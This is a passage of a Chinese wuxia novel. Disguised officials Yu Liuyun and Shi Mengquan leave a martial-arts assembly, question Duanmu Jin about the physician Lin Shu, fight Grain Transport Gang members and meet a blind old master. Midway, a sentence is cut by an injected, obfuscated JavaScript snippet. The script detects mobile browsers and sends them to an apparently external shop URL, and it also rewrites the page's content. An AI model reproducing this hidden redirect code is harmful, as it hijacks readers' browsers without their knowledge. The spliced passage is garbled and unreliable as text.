“后生晚辈果然就是不知道厉害。”发话的是那北义师的岳掌门,“为何要有四方义师,四位盟主,就是为了避免一人独大。堂堂中原武林,岂是一间小小镳局可比的?小辈们不知道天高地厚,难道姜大侠也忘记了翦重华的事了么?” 翦重华?玉、石二人自然没听说过,而在座的楚国武林众人无不变色。 岳掌门冷笑:“当年的那场腥风血雨虽然大家都不曾经历过,但是从前人那里也该听说过——姜大侠,你和这两个年轻人很熟络吧?该好好教导教导他们才是,怎么能跟着小辈们一起糊涂呢?” 姜广轩听他话里有话,似乎是看穿了自己是意图,急忙要维护面子挽回局面,道:“岳掌门说的哪里话?这两位小朋友与姜某乃是萍水相逢,姜某岂能‘教训’于人?况且,他们本是郑国人,不知道我楚国之事也是常情。人家是一副热肠要来助咱们铲除玉旒云,岳掌门却对人家冷嘲热讽,恐怕也……” 玉旒云虽然不知道翦重华究竟是谁,不过猜测他曾经在楚国武林“一人独大”,江湖上这些私心着重的匹夫因此闹出了不少麻烦。她方才说出了统帅军队的一条至理,若楚国义师能如此,必然要使樾人大大的头疼——她当然不希望楚人突然开窍,也料定楚人开不了窍。不过,她听到姓岳的话里分明把自己当成了无知小子,这口气可咽不下去,冷着脸道:“岳掌门比晚辈多吃了好几年的饭,当然见识也多。不过晚辈并没有说要‘一人独大’,晚辈只是说要找一个人出来做事。咱们常说,某某人‘挂帅出征’,其实元帅不是一个官位,而是一个职位,打仗时则有,回朝后则无。做元帅的人,在打仗的时候听取各方汇报,分析周围情况,决定即时战术,可以对将军们发号施令。但是仗打完了,回到京城,其人就恢复了原来的官职,将军们不必再听他号令——如果武林义师也一般操作,怎么可能造成‘一人独大’呢?” 石梦泉听她不说镳局的例子,竟然谈起行军打仗来,可着急了:这如何不叫人生疑呢? 不过,在座的众人却听得面面相觑——这种‘挂帅’制本是楚国建国之初为了防止有人拥兵自重而设立的,还常常以文官挂帅,闹过许多笑话。现在早已不再用了,元帅成了彰表功绩的虚衔——司马非就是定边大元帅,除了俸禄增加,权力和从前没两样。樾国就不同了,其律法官制虽效法楚人,但因为常年征战,调兵遣将几乎是国家的头等大事,为了确保战役的胜利,每发兵之前都会根据切实的需要选择主帅,才算是发挥了这一制度的长处。楚国武林中人当然不会理解这些。大家看着玉旒云,有的觉得她是在说天书,有的则觉得这小丫头不知天高地厚,竟然在众前辈面前胡说八道,而岳掌门等看穿姜广轩企图的人,都啧啧冷笑,那意思是:你要人给自己撑场面,竟找个无知丫头?看你如今怎样下台! 这样,姜广轩也不敢出来替玉旒云说话了,装聋作哑,任众人指指戳戳。 石梦泉可急坏了——玉旒云是争强好胜的性格,这要发作起来,岂不麻烦?便要拉住她,劝她忍了一时之气。不料,玉旒云铁青了脸,朝众人拱了拱手:“既然诸位前辈嫌晚辈无知,晚辈也不必厚着脸皮呆下去。就此告辞了!”说罢,转身出门。石梦泉赶忙跟上,同时也恍然领悟了她的用意:如此脱身,毫无造作之感,实在高明! 两人到了外面,不由都偷偷笑了起来。 玉旒云轻声道:“走,咱们看看这些老匹夫们有没有好马。” 石梦泉道:“咱们回客栈去骑自己的马也成。这会儿若偷了他们的马,恐怕被发觉。” “怕什么!”玉旒云道,“咱们在牢什子的神农山庄,还怕没有巴豆么?咱们挑两匹马,其余的就都喂些巴豆,到时候看他们怎么追——我就不信丐帮叫花子靠两腿传信,能快过马去。” 石梦泉知道她显然是被这群楚国武林人士搞得一肚子火,想了想,道:“人家还有鸽子呢!咱们还是别做太招摇的事——就依你了,出门去看看,谁的马还在外面,就算他倒霉。” 玉旒云本来也是嘴上说说,撒撒气而已,一笑,就赞同了挚友的提议。两人快步朝神农山庄外走去。 可偏偏这时,听到身后有人叫道:“二位请留步!”竟是那端木庄主的女儿追了出来,到了跟前,给二人道万福:“小女子端木槿……” “端木小姐有何贵干?”玉旒云重又做出那副气恼万分的样子,“我们本不是你楚国人,也不懂你楚国的规矩,莫非还要叫我们继续回去受辱么?” “不,不,不。”端木槿道,“众位前辈和家父并没有轻看二位的意思……” “我们押镳的行程都已经耽误了。”石梦泉生恐节外生枝,道,“小姐不必挽留。” “啊,不……”端木槿道,“二位误会了,其实……”她欲言又止:“我送二位出去,到门外再说吧。” 玉、石二人互望了一眼:谅她也玩不出什么名堂来,大不了就挟持了做人质——看这神农山庄的楚国武林的匹夫中还颇有地位,抓了庄主的千金,旁人应该不敢妄动!便也不硬推辞,只是显出不耐烦的样子,大步走出神农山庄去。 “我方才听到,两位从郑国来?”端木槿问。 “那便如何?”要考问她郑国的山川地势风土人情,玉旒云都详细地了解过,不至于露出破绽。但就怕她问起郑国的武林人士,可就一窍不通了。 而端木槿偏偏道:“我想向二位打听一个人。” “谁?”玉旒云双手虽然背在身后,但已经蓄势待发。石梦泉也做好了应变的准备。 端木槿道:“百草门的林枢,不知二位认不认识?” 玉、石二人不由都是一惊:何来此问? 端木槿看他们如此表情,自己脸上微微一红:“是我问的唐突了……郑国虽然不是大国,但武林也有不少人物,岂能人人相互都认识呢?” 玉旒云谨慎的:“哪里。我们只是奇怪,小姐为何单单问他?” 端木小姐垂着头:“我们神农山庄和百草门虽然各属一国,但医理没有国界,两派也算是世交。我知道百草门现在已经划归樾国地界了。林大哥是百草门唯一的传人,我不知他现在怎样了……” 石梦泉听她称林枢为“林大哥”,可见两人关系非同一般,又见她低头似乎满面娇羞,便大略猜出她是心中属意林枢,那么此一问就不是刺探内幕了。 玉旒云道:“你们楚国武林义师神通广大,连玉旒云都逃不出你们的手掌心。令尊又是武林中响当当的人物。你要打听林枢的消息,去问问他不就行了?” 端木槿面有难色:“这……家父……我不敢问家父……问了,他也不会告诉我……所以才来麻烦二位。你们若是知道,请一定告诉我,小女子不胜感激。” 石梦泉想:端木庄主参加义师与我樾国为敌,端木小姐的心上人却在我国做医官。恐怕端木庄主早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728621|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也知道这事,不想告诉女儿罢了。我们又何必自找麻烦?干脆说不认识林大夫,少些枝节为妙。 正要开口否认,玉旒云却抢先道:“林大夫的消息我的确知道,不过,我也很想问端木小姐几个问题。” 端木槿一听到她说有林枢的消息,脸上立刻显出欣喜的光芒:“刘姑娘要问什么?” 玉旒云道:“端木小姐……认识林大夫很久了吧?觉得他是怎样的人?” 这话一出口,石梦泉立刻明白了:玉旒云终究还是怀疑林枢是否真心投诚,见端木槿同他关系亲密,所以要来套一套话。这也难怪,他想,经历了此次的追杀,他们不得不将身边的人彻底盘查,而林枢无疑是嫌疑极大的一个。 端木槿却不疑有他,道:“林大哥当然是好人……刘姑娘为什么这样问?” 玉旒云微微眯了眯眼睛:“好人?端木小姐怎么能一口咬定他是好人呢?” 端木槿道:“林大哥的心里只有三样东西:一是祖师爷,二是医术的至理,三是天下有病痛之人。十年前家父带我去百草门,正遇到郑国瘟疫流行,官府下令将得了疫病的百姓都赶到‘不归谷’关起来。林大哥只身一人闯进谷中,不眠不休钻研治疗疫病之法,终于救了全谷百姓的性命。他自己却因为劳累过度,大病一场。这样的人难道不是好人么?” 原来林枢还有如此事迹!玉旒云和石梦泉都没有想到。 “他既然是‘好人’……”玉旒云靠着猜测赌上一把,“令尊大人怎么会不喜欢你和他来往?” 端木槿一怔。从她的表情玉旒云可以看出,自己是猜对了。 “这是我们两派之间的小恩怨。”端木槿道,“和林大哥没有关系——刘姑娘,林大哥现在究竟怎样?求你别和我绕弯子了。” 玉旒云冷冷地“哼”了一声,道:“他既是好人,自然好得不得了。你尽可以放心。他的荣华富贵几辈子也享用不尽!”说时,走到一匹马跟前,翻身骑上。 端木槿忙上前拉住缰绳:“刘姑娘……你……你说的是什么意思?” “什么意思?”玉旒云冷冷道,“再清楚不过了!他现在飞黄腾达了,因为治好了玉旒云的亲信,已经封了樾国太医院院士,迟些,你还会听到消息,樾国皇帝要封百草门为‘天下第一医馆’,到时候你神农山庄可没有立足之地了。” “樾国皇帝?天下第一医馆?”端木槿面色煞白,“刘姑娘这……我还是听不明白你的话……你说清楚……不……”她忽然转头看看身后,又望了望四周,道:“这里不是说话的地方。两位要到哪里去?我送你们一程。” 石梦泉也已经跨上了一匹马。玉旒云望了他一眼,似是征求意见,但更多的则像是传达命令——就让这个傻小姐陪着咱们,做个护身符也好——道:“我们押镳到西瑶去,现在去夔洲渡。” 端木槿道:“好,我同你们一起。边走边说。”竟也随便找了一匹马骑上。 可这时,却听后面一人喝道:“慢着!你们要带小师妹到哪里去?”话音落处,一个青衣男子已跃到了他们跟前。“刘姑娘,孟少侠有礼。”他道,“神农山庄门下游德信。” 玉、石二人按江湖规矩跟他拱了拱手。 游德信拉住了端木槿的马:“师妹,我一听到他们是郑国人,就知道你肯定会找他们——你忘记师父的话了么?还要惦着那小子?” “那小子”当然指的是林枢。端木槿道:“我就是要去见他,怎样?” 游德信道:“你刚才没有听到刘姑娘和孟少侠说么?他贪图富贵,已经做了樾国皇帝的鹰犬。” “这不可能!”端木槿眼里闪着泪光,“林大哥淡薄名利,一心只是研究医理药性,有时为了为了采一株草药几天几夜在深山里不回家,有时又为了治一个疑难杂症,冰天雪地也要赶去病人家里守着。他说过,若不是他师兄早亡,掌门之位非他继承不可,他宁可居于市井,替人看病抓药,度过一生。像他这样的人,不可能贪图富贵投降樾寇。” 玉旒云挑了挑眉毛,同石梦泉交换了一个眼色:当初自己向林枢许诺功名利禄,这大夫欣然应允。其中看来大有问题。 “知人知面不知心!”游德信道,“师妹,你不要再任性了,否则我要告诉师父了。” “你尽管去告诉好了!”端木槿怒道,“爹爹自己做了什么,他自己清楚。天下人不知道,难道我也不知道么?百草门会有今天,林大哥会有今天……都是爹爹的错!” “师妹!”游德信喝止他。 有什么不可告人的秘密?百草门和神农山庄之间的恩怨?玉旒云暗想,我才没有兴趣知道你们怎么斗得你死我活呢,一群自命不凡的匹夫。我的兴趣,就是林枢到底是不是奸细。 她假装什么也没有听见,道:“端木小姐,你还是跟令师兄回去吧。林枢做了玉旒云的医官,这是千真万确的事。我们郑国的许多百姓虽然在‘不归谷’蒙过他的恩,起初也不相信他会投降敌人,但是事实就是事实,不相信也没用。又有人猜测,他会不会是假投降,真刺杀——”说到这句时,她紧紧盯着游德信和端木槿,一丝表情的变化也不放过。“只是他投效玉旒云好几个月了,玉旒云可还活得好好的呢!” “他去做刺客?”游德信冷笑,“他是个沽名钓誉的懦夫,根本不敢杀人的。” “我不许你侮辱他!”端木槿厉声道,“林大哥才不是懦夫。林大哥之是谨守祖师的教诲罢了。” “祖师教诲?”玉、石二人不甚明白。 端木槿道:“刘姑娘不是医门中人,自然不知道我们的规矩。医者以神农氏为祖,他为救人于病痛,尝百草之滋味,一日而遇七十毒,最后因误食‘火焰子’,肠断而死。入医门者,当法神农,以救死扶伤为己任。虽然人之生死在乎天,医者也须先尽人事,再听天命。每一个救不活的病人,就是我们医门中人欠师祖的一笔债,背负到死也偿还不清——故意去杀人,这是不容于师门的。” 有过这样奇特的规矩,石梦泉闻所未闻。 玉旒云则想:这还不都是说一套做一套?天下庸医可多了,明明没有本事,为了钱财而胡乱给人看病,误人性命的不在少数。这些医生难道不是不容于师门的么?也不见神农氏显灵来收拾他们。全篇胡话。 那游德信似乎本来就讨厌林枢,对端木槿的辩解之辞自然是嗤之以鼻:“师妹,我看你已被那小子迷了心智。祖师爷的教训的确说了不可杀人,但是若是恶人,难道我们也不杀么?今日玉旒云到了你的面前,难道你也不杀么?” 端木槿道:“谁恶谁善,只有祖师才有权定夺。要是犯错的就成了恶人,就都该杀,那爹爹得来《百草秘籍》这事……” “住口!”游德信断喝一声。 看来《百草秘籍》是神农山庄和百草门恩怨的症结所在。玉旒云想,你们拿来当个宝,我才没兴趣听。这端木槿对林枢一片痴情,却似乎并不了解林枢的行动。游德信对林枢满是成见,大概也套不出什么话来。 不可浪费时间,还是早走为妙。想着,她向神农山庄的两个人一抱拳:“我们还要赶路。端木小姐,游少侠不必远送,就此告辞!”说罢,挥鞭催马,绝尘而去。 石梦泉紧跟在后,但不望回头看看有无楚人追来——只见端木槿和游德信师兄妹两人仿佛还在争论不休,恐怕那神农山庄里面也是一样,无非争论的话题不同罢了。 他打马追上了玉旒云:“大人……”才叫了一声,就发觉玉旒云的脸色像冰山一样的可怕:“大人,你还好吧?” “好得很。”玉旒云回答,侧头看了看他,“怎么?你不会是又想起林大夫的话,什么我活不过三十五岁吧?我现在还不到二十五岁呢!死不了的。” 听她说话的声音一点儿也不发虚,石梦泉才略略放下心来。这是月黑天,只有惨淡的星光从树缝里漏下来。这才是玉旒云脸色青白的原因。 “大人,你看林大夫……” “我看?”玉旒云冷冷的,“我看什么?他心事如此古怪,只有他看我们,我们却看不穿他——哼,我哪儿有这么多闲功夫跟他玩游戏?一早就不该把他留在身边。若不是因为他治好了你——可恶,我算是知恩图报的,但是有人恩将仇报,那就怨不得我!” 石梦泉听她这话,似乎是动了杀心了:“你觉得这次泄露我俩行踪的是他?” “我觉得?”玉旒云咬着嘴唇不作声,行出很远才道,“不过,的确只能是‘觉得’。一点儿证据也抓不到。要能掌握咱们全部的计划,定是离咱们很近的人——我家的用人在府上的时间也久了,许多是我十八岁的时候就跟着我的。你家里根本也就没几个下人——他们有几分本事,你我还能不知?要偷听咱们说话,偷看咱们的计划,不可能不被发觉,唯有这姓林的……武功该在你我之上。” 石梦泉道:“话是如此。我也早怀疑他存心不善。但是我以为他是赵王一伙的。这就奇怪了——赵王并不想两我俩于死地啊!且不论林大夫是谁的人,他若要加害我们,平时的机会太多了,何必如此大费周章呢?” 玉旒云道:“你没听方才端木小姐说么?他们医门之中有只可救人不可杀人的规矩。” “那只是个规矩,难道还……”他仔细一想:虽然很荒唐,但是这个规矩的确能解释眼下的状况:莫非真的是林枢?那他和赵王之间有没有关系呢?赵王和楚国武林义师有没有关系呢? 如果任何一个答案是肯定的,那么玉旒云和他南下同西瑶结盟的消息岂不是早就传到了赵王的耳朵里?那西京现在是怎样的形势?本打算在赵王的后院放火,若是反而被赵王烧了他们的后院,可就糟糕了。 玉旒云当然是早就虑到了这一层,所以绷着脸——现在即使是放弃西瑶的计划,立刻转回西京,若是要出事,也早就出事了。这才更加不能放弃西瑶,得到了这个盟友,赵王才不敢肆无忌惮。 “我想我们将来得吸取教训。”她道,“虽然古人总说,要‘唯才是举’,光看别人有没有才,却忘记了那‘才’是不是用来杀咱们的,迟早会栽跟头。这林枢,你一开始怀疑他的时候,我就该把他杀了。” 石梦泉道:“这也不是你的错。我当时只是猜测,并没有真凭实据。况且我总当他是自己的救命恩人,就疏忽了,没有好好监视他。” “不,不关你的事。”玉旒云道,“你当时建议时,是我做的决定。哼,对付这些危险人物,哪里需要凭据?这又不是大理寺审案,不可冤枉好人。权谋斗争,等到抓到把柄时,说不定咱们都已经成了死人了。谁心软了,谁反应慢了,谁就死。道理便是这么简单。” 从来没有听她说过这样的话,石梦泉不禁打了个冷战,偏头望望,见她眼中满是憎恨,却仿佛不仅仅是林枢这件事,而是遥远的过去,长久的人生,多少年来一直在翻腾的一种感情,好像火红滚烫的铁水不停地在折磨她,煎熬又煎熬,把她铸成一柄剑,却是冰冷的。 “大人……” “我们和西瑶结盟一定会成功。”玉旒云斩钉截铁地说道,“我们会回到西京,那里的局势依然会由我们控制。然后我要办了林枢。不管他不是奸细,反正他的嫌疑最大,宁可错杀一万,也不要漏网一人。” 如果林枢是奸细,石梦泉将是第一个冲上去取他性命的人。但是玉旒云这种语气叫他感到痛心:究竟是什么样的过去才把她变成这副模样?这种宁叫我负天下人,不叫天下人负我? 前途茫茫,他只有打个岔儿来缓和气氛:“林枢要真的是细作,如何还敢留在西京呢?知道咱们平安无事,肯定逃之夭夭了。” “哼!”玉旒云冷笑一声,“那也没关系。随便他逃到哪里去好了,我给他的百草门送上一面大樾国皇帝亲笔的‘天下第一医馆’匾额,总叫他在这群武林匹夫中无法立足——跟我斗——驾——” 还是看到她这种斗志昂扬的表情,心里的忧虑会少一些,石梦泉想,只要能早一天拿下楚国,一切就都结束了。 41. 第 41 章 两人马不停蹄,天边露出蟹壳青的时候,便接近夔洲渡了,从山坡上望下去,天江在远处像一条白色的绸带,横躺在两山之间,江面上雾气弥散,夔洲渡口看不清人,只有船只的桅杆在雾气里若隐若现。 两人互相望望:神农山庄武林大会上全是一群野心勃勃的草包,渡口官船上的士兵,民船上的漕帮帮众,这些人都手中有拿着玉、石二人的画像等待多时,纠缠起来可占不到丝毫的便宜。 准备好了么?他们互相无声地询问。没有退路,只能前进。无论如何要到西瑶去。 正打算深深吸一口气,策马直奔渡口,却忽然听到有人喝道:“站住!”两人一惊,就看到见几条人影闪了出来,一例海青色的短打,都是很结实的汉子,霎时就把玉、石二人给围在中央:“你们是何人?” “我们是虎威镳局的镳师。”玉旒云照样撒谎,“你们又是何人?” “虎威镳局?”为首的汉子跟同伙交换个眼色,“你们押镳走这条路,怎么没和咱们漕帮的人先打招呼?” 是漕帮的人!玉、石二人心里都是一紧。 玉旒云继续撒谎:“我们只是临时走这条路,来不及通知贵帮,还请多包含。” 漕帮中人显然不信,狐疑地上下打量他们,包围圈没有丝毫放松的意思。 石梦泉的心已经提到了嗓子眼儿:要是动起手来,解决这几个人当然不是问题,但是夔洲渡还有多少漕帮帮众,多少官兵?一旦暴露身份,后果不堪设想。 “两个人鬼鬼祟祟的,”为首那汉子道,“跟咱们去见帮主。”说时,就要动手来拉他们。 “严帮主在这里么?”玉旒云只在神农山庄听到漕帮的帮主叫“严八姐”,赶紧就现学现买称呼上,道,“我正要找她!” 漕帮的人听她这样说,便暂时不上前来,抱着两臂问道:“你要见帮主做什么?” 玉旒云道:“昨夜在神农山庄开武林大会,为何不见严帮主?” 听到她从武林大会来,怀疑就又减少了两分,漕帮人答道:“武林大会就是商议着如何抓玉旒云,咱们帮主说了,抓玉旒云不是光凭嘴。他们爱商议就商议去,我们漕帮却要守好天江的每一条船,一定不让玉旒云过江去。” “严帮主一心为了大业,”玉旒云道,“我对她敬佩得紧,这才要把这事告诉她——你们漕帮在这里为国效力,他们四方盟主和各大门派就聚在神农山庄推选武林盟主。天下哪有这样的道理?武林若让他们这些自私自利之徒领导,还那成何世界?”她见识了姜广轩等追名逐利之徒,猜想“权势威望”的诱惑用到漕帮人身上也一定奏效。 果然,漕帮的几个汉子脸上都显出了吃惊之色:“有这种事?” 玉旒云道:“我们就是看不惯他们满口仁义道德,实际做得都是见不得光的勾当。随便抱怨了两句,就被北义师的姓岳的胖子给赶了出来——也不知他们这会儿吵没吵出结果了。不管他们中哪一个做了武林盟主都是灾难!” 漕帮的汉子道:“哈,让他们吵去。谁当武林盟主干我们屁事?咱们漕帮是江湖人,但是不算武林中人,盟主反正也指挥不到咱们头上。” 玉旒云一愕:可恶!竟还有这一层关系。岂不是白费唇舌? 漕帮汉子道:“咱们严帮主关心的只两件事:一,弟兄们有没有饭吃;二,樾人会不会打到咱们的地盘上来。其他的事情跟咱们都没关系。这和你们崔女侠倒有些像吧?呵呵。” 玉旒云笑了笑,道:“崔女侠没有弟兄们要照应,所以她心里只有国家。”从她掌握的消息来看,崔抱月早已不走镳了,依然在虎威镳局挂名,只表示自己不忘本。“你们有事要忙,我们也要赶路,就此别过吧。”她说。 漕帮的汉子们对她已经完全没了戒心,也笑道:“那好。回赣洲若见到崔女侠,替咱们严帮主问声好。也替咱们弟兄们打个招呼。咱们走很佩服他,她的民兵要是缺人手,咱们漕帮都愿意去加入。“ 原来打着崔抱月的旗号这样好办事,玉旒云暗笑。礼尚往来,她也赞一赞严八姐:“崔女侠也敬佩严帮主是巾帼英雄,若是有机会,一定来拜会。”说知,她向漕帮的人拱了拱手,和石梦泉举步朝夔洲渡口去。 可不想那漕帮的汉子们面面相觑一下,接着“呛呛呛”全都拔出了刀来:“你们究竟是什么人?在这里招摇撞骗?还不快快束手就擒?” 玉、石二人不觉大惊:怎么突然暴露了?不过这却不是深究的时候,眼见着明晃晃的钢刀朝自己斩了下来,两人只得各自先闪避应付。 石梦泉看准对手的来势,一把抓住人家的手腕,发力猛甩,喝道:“撒手!”同时又招呼玉旒云:“接着!”这人的兵器就不偏不倚,落到了玉旒云的手中。 玉旒云一翻腕子,“唰唰唰”已舞出了数朵银花,只听兵刃撞击之声不绝于耳,攻到她面前的杀着被一一化解。漕帮的汉子啐了一口:“他娘的,还有点儿本事!” 玉旒云冷笑道:“没本事也就不出来走江湖了。你们就这点儿能耐,也想去杀玉旒云么?” 漕帮汉子道:“玉旒云自有我们帮主对付。而你们两个,爷爷我就够了!识相的,快快弃械投降,随我们去见帮主。” 玉旒云道:“真是莫名其妙。你们漕帮和我们虎威镳局井水不犯河水,怎么一时称兄道弟,一时又要拼死拼活的?你说投降就投降,世上哪有这样的道理?将来我们虎威镳局还怎么在江湖上混?” 漕帮中人“嘿嘿”冷笑:“你们怎么混,爷爷就管不着。虎威镳局里可没有你们这号人物!”说话时,手上攻势不停。 玉旒云也不惧他,他劈她就格,他斩她就挡,攻中有守,守里带攻,招式灵巧犀利,一时竟叫对手眼花缭乱。 石梦泉这时自己也夺了一柄刀来,将另一个漕帮汉子逼得只有招架之力,全无还手之功。为首的汉子见占不到便宜,即叫道:“回去通知帮主,这里有人冒充虎威镳局的镳师,说不准是玉旒云的奸细!” 外圈的一个汉子立刻应声而去。 石梦泉心中焦急:再拖下去,就一定走不了。于是手上招式加快,立刻就在一名漕帮帮众的胳膊上开了一条血口子。那人拿不住刀,踉踉跄跄退后几步。石梦泉又追上去“啪”地用刀身打在他的天灵盖之上,这人立刻仰天摔倒,失去了知觉。他的同伴枪上前来相救,又被石梦泉反手一刀划在胸口——还算他躲闪及时,只是被划破了衣服。要是稍微再迟一点,恐怕整个人已被切成了两半。他理会得石梦泉的厉害了,不敢再轻易交手,转脸看看玉旒云和那为首的汉子打得难解难分,就扑上去帮助自家弟兄。 玉旒云本来不常与人交手,又是习惯使剑的,被两人夹击,难免就有些吃力。石梦泉看到她险象环生,立刻上前救护。却不料,自己背后露出了空门。玉旒云呼了声:“小心!”并且挥刀抢了上去,却是不及,一个漕帮帮众的钢刀已经斩在了石梦泉的肩头。鲜血立刻喷涌而出。 “可恶!”玉旒云怒斥,举刀猛砍,将那凶手的一条胳膊整个儿斩了下来。 石梦泉伤口疼痛难当,每一个动作都仿佛要将身体撕裂一般。不过他知道,在这关头,自己决不能倒下,因此,咬紧牙关继续战斗,几个回合,将一个对手砍倒。 玉旒云由于发了怒,招式更加凌厉狠辣,没多少工夫也将为首的漕帮汉子逼到了死角。石梦泉欺身上前来,斜挑一刀——本来是冲着那人肚腹而去的,但他受伤之下失了准头,只砍到了大腿。那人惨叫一声,跌坐在地。 “蟊贼,有胆杀了爷爷!”他大骂。 玉旒云正要补上一刀,却看渡口那边火急火燎来了一大群人,想是漕帮的救兵到了。不可恋战。她将刀往腰上一别:“往回走!”就和石梦泉上了马,朝原路返回。 漕帮的人是徒步追,当然一时赶不上。不过从这里到神农山庄,只有一条路,一直往回总不是长久之计。因此,行了大约十来里,玉、石二人就下了马。玉旒云在两匹马臀上各刺了一刀,畜生吃疼,悲嘶着狂奔而去——既有蹄印,又有血迹,希望能骗过漕帮一时。两人即弃了大路,钻进了山里之中。 石梦泉的伤口还在流血不止。玉旒云见他面色苍白,额头上沁出冷汗,便道:“停下来休息休息。” 石梦泉摇头:“不行,万一被他们追上来就麻烦了。再说,我们的行程不能再耽搁。” 玉旒云可不管,撕了一幅衣衫先帮他扎住伤口,又道:“一时也追不上来。行程的事,你不要担心。要是没有你,还要行程有什么用?” 石梦泉强颜笑道:“这点小伤打什么紧?大青河时比这重得多,我也……” 玉旒云一把捂住他的嘴:“就是大青河。我一看到你这样子,就想起大青河。我很多年没有害怕过了。在大青河,我……” 石梦泉怔怔地望着她,连疼痛也忘记。 玉旒云道:“所以你的身体不是你一个人的——你不要忘记你答应过我什么。” 一定不死,一定不丢下他一个人。石梦泉自己伸手按住那伤口:血啊血,快点儿止住吧! “但也总不能就在这儿坐下吧?”他说,“好歹找一个隐蔽的地方。” 玉旒云点点头,上前把他的一条胳膊搭在自己肩头,也不管他需不需要,就扶着他朝山林深处走去。 也不知行了多远,听到一阵奔腾怒吼的水声,似乎已离天江甚近了。又走了一会儿,树林突兀地消失,两人才发现是到了夔洲渡上游的白虹峡附近,楚国境内的秦山和西瑶境内的郢山看来仿佛远古时原为一体,却被天江劈开两半似的,峭壁笔直地插在江的两岸。江水疾冲而下,白浪涛涛。 玉、石二人见过大青河的飞龙峡,但是壮观远不及此,不禁都呆了呆——玉旒云惯于叱咤,曾经对着《万里山河图》有把天下都握在掌中的豪情,但是看到这奔流不息的江水,她陡然觉得自己的力量是多么的渺小。 “这里是过不了江的吧。”石梦泉道,“看来得去白虹峡的上游——不过照咱们的地图,恐怕要过白虹峡有百余里才有渡头。而瞧这水势,咱们离白虹峡还有十多里地呢。” “现在才管不了渡头。”玉旒云道,“你这血怎么止不住了?得要重新包扎才行——咦,看那边——” 石梦泉顺他所指望过去,见峭壁边上竟有一座茅草房。 “走,咱们上那儿去!” “大人!”石梦泉谨慎地,“住在这样的地方,恐怕不是普通人。小心为上。” 玉旒云蹙眉一想:也有道理。她又四下里望望,有一株粗壮的松树,树冠如棚,而树根从土中突起,又好像是一张坐椅。便道:“先上那边去坐坐,我看看你的伤口如何。” 石梦泉始终还是觉得此处危机四伏,不宜久留,但是自己失血过多,腿脚一阵阵虚脱,逞不了强,只有答应了,随她到松树下暂坐。 先前包扎的布条现在已经浸透了鲜血,玉旒云看得直是皱眉。她尝试着拿手压住伤口,可是全不奏效。仿佛受伤痛苦的人是她自己似的,紧咬着嘴唇,直到咬出了血来,才好像突然想起了什么,将手移到石梦泉锁|骨上窝内,摸索到一处脉动,就紧紧地压住,伤口的血果然渐渐止住了。 石梦泉觉得头昏眼花,看世界都好像渐渐暗了似的。但见到玉旒云找到了止血之法,不忘鼓励她:“大人救了我的命了。” 玉旒云面上又是血又是汗,已经成了个小花脸。“别得意!”她说,“这法子是我从军医那里偷学来的,不是长久之计。得用草药使伤口合上才行。现在我没法分身去找草药,只有这样按着,赌一赌运气,让伤口自己合上了。” “大人几时又学了医术了?” “还不就是大青河?”玉旒云道,“你没醒过来那会儿,我什么医书也都看过了——不过我不是做大夫的材料。自己学那个,倒不如找个好大夫来……”住口不再说下去——好大夫林枢,最有嫌疑害他们至此的人。 石梦泉也不说话——现在不是浪费精力的时候。玉旒云所谓“赌一赌运气”指的当然不仅是伤口会不会愈合,而是在伤口愈合、她可以松手之前,漕帮的人不找到他们。他便合上眼想休息一下,可是一瞬,却见到一个人影在玉旒云的身后,即呼道:“小心后面!” 玉旒云一惊,一手还压着石梦泉的伤处不放,另一手抄起刀来就向后斩去。不过却劈空了。她身后站着一个须发皆白的老人,手里拿着根竹竿,正好立在她的攻击范围之外——或者是眨眼之间就闪到了她砍不着的地方。这人能无声无息地到她身后,显然是个会家子。 “你是什么人?”玉旒云冷冷地问道。 老人不回答她的问题,用竹竿在地上探索着,道:“你……你们到这里来干什么?” 原来他竟是个瞎子?玉旒云轻轻地把刀晃了两下,老人全然不觉。这就好办些,她想。因道:“我们是路过的,在这里歇息。一会就走。” “哦。”老人道,“既然遇上了,能不能请你们帮个忙?我就住在哪上面——”他一指那小茅屋:“刚才在林子里扭了脚,这石头滑得很,能不能扶我上去?” 你还用得着我们扶么?玉旒云看着老人纤尘不染的草鞋——玉、石二人穿过林子而来,身上都沾满了烂泥和青苔,这老人简直好像是飞过来的。 既然是瞎子就应该认不出他俩的真实身份。不知其用意,最好不要轻易得罪。石梦泉因道:“老人家,不是晚辈不想帮的忙,实在是因为晚辈受了伤,一刻不按住这伤口,就会流血不止。” “哦,是么?”老人上前矮下身来——这动作看似从容,但玉旒云竟然来不及阻止,他的手已经探到了石梦泉的身上,一触到锁|骨处,就笑道:“咦,小姑娘你倒很聪明啊!”说时,手指飞快地戳出,在石梦泉伤口附近点了几下,又轻轻一拂袖子,挥开了玉旒云的手——伤口竟然不再流血了。 玉、石二人都惊讶万分:“老人家,您……” 老人道:“我帮你们一个忙,你们也帮我一个忙吧。” 玉、石二人互望了一眼:若是他要取他们的性命简直易如反掌。石梦泉就支撑着站起身来,恭恭敬敬地搀着老人的手臂,道:“老人家小心。”引着他朝那小茅屋走。而玉旒云见石头果然难行,就从旁边扶着石梦泉——她手一碰上去,立时大吃一惊:好像有一股奇特的力量拉着他们,腿脚竟似不沾地一般,飘飘然就已经到了小茅屋跟前。 老人微微一笑,推开了门:“过门都是客。我老头子一个人住在这里很久了,年轻人,陪我喝杯茶好么?” 他到底是何用意?玉、石二人好生不解。然而就在此时,听到远处一阵扰攘之声,有人叫道:“看,这里有血迹!一定是逃到这里来了!”接着就见到漕帮的人从树林里钻了出来。 玉、石二人不由大惊。但说时迟那时快,老人轻轻一推,他两人就进了茅屋。门在他们身后关上了。 漕帮众人转眼到了跟前。“看到一男一女两个年轻人没有?”一个彪型大汉向老人发问,“男的好像受了伤的。” 老人挡在门前,竹竿在地上划着半圆:“看?我瞎了十几年啦。” 